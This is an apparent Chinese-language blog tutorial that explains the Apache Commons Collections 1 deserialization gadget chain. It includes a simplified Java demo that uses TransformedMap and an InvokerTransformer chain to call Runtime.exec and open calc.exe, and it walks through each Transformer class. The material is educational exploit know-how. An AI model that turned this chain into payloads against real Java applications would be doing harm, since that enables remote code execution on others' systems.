给个关注?宝儿!
给个关注?宝儿!
给个关注?宝儿!
目录
众所周知,CommonCollections利⽤链是作为反序列化学习不可绕i过的一关
图解
先挂一张wh1te8ea的利用链图解,非常直观!
代码demo
分析:
代码使用了phith0n大佬的代码,对原本复杂的源码进行了优化,适合复现以及更加深刻理解
demo代码:
package test.org.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"C:\\WINDOWS\\system32\\calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}
exec执行命令:C:\WINDOWS\system32\calc.exe
运行后计算机弹出
涉及的接口与类:
TransformedMap
TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可
以执⾏⼀个回调。我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map:
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
valueTransformer);
其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。
我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类。
Transformer
Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:
public interface Transformer {
public Object transform(Object input);
}
TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个”回调
函数“,这个回调的参数是原始对象。
ConstantTransformer
ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个
对象,并在transform⽅法将这个对象再返回:
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn; }
public Object transform(Object input) {
return iConstant; }
所以他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作。
InvokerTransformer
InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序
列化能执⾏任意代码的关键。
在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数
是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[]
args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
后⾯的回调transform⽅法,就是执⾏了input对象的iMethodName⽅法:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
ChainedTransformer
ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串
在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊,我们画⼀个图做示意:
它的代码也⽐较简单:
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers; }
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object; }
dome理解
我创建了⼀个
ChainedTransformer
,其中包含两个
Transformer
:第⼀个是
ConstantTransformer
,
直接返回当前环境的Runtime对象;第⼆个是
InvokerTransformer
,执⾏Runtime对象的exec⽅法,参
数是
C:\WINDOWS\system32\calc.exe
当然,这个
transformerChain
只是⼀系列回调,我们需要⽤其来包装innerMap,使⽤的前⾯说到的
TransformedMap.decorate
:
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
最后,怎么触发回调呢?就是向Map中放⼊⼀个新的元素:
outerMap.put("test", "xxxx"); 1
总结:
简化的demo给⼤家演示了CommonCollections利⽤链的执⾏流程,⽽且我
特地去掉了和反射相关的代码,所以⼤家可以看到本节demo中并没有涉及到反射相关的内容
实战的反序列化漏洞利用poc构造,放在下一篇